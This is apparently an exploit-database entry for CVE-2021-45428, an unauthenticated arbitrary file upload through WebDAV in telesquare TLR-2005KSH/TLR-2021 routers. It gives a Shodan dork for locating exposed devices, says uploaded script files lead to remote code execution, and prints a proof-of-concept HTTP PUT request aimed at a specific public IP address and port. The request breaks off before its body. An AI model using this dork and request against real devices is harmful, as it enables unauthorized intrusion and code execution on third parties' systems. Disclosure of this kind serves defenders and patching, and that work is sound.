TLR-2005KSH suffers from an arbitrary file upload vulnerability.
f7ccc88ff2a331dfcd6837d903e8a8b9647905703b086149bc856a1f4d52c2d9# Exploit Title: TLR-2005KSH - Arbitrary File Upload
# Date: 2022-05-11
# Shodan Dork: title:"Login to TLR-2021"
# Exploit Author: Ahmed Alroky
# Author Company : Aiactive
# Version: 1.0.0
# Vendor home page : http://telesquare.co.kr/
# Authentication Required: No
# Tested on: Windows
# CVE: CVE-2021-45428
# Vulnerability Description
# Due to the Via WebDAV (Web Distributed Authoring and Versioning),
# on the remote server,telesquare TLR-2021 allows unauthorized users to upload
# any file(e.g. asp, aspx, cfm, html, jhtml, jsp, shtml) which causes
# remote code execution as well.
# Due to the WebDAV, it is possible to upload the arbitrary
# file utilizing the PUT method.
# Proof-of-Concept
# Request
PUT /l6f3jd6cbf.txt HTTP/1.1
Host: 223.62.114.233:8081<http://223.62.114.233:8081/>
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Connection: close
Content-Length: 10